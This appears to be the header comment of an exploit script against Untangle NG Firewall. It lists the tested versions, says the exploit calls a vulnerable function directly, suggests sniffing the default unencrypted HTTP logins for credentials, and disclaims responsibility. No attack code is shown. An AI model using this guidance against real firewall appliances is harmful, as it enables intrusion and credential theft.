This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous # versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages # the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to). # The author is not responsible for how this script or any information within this script is used.
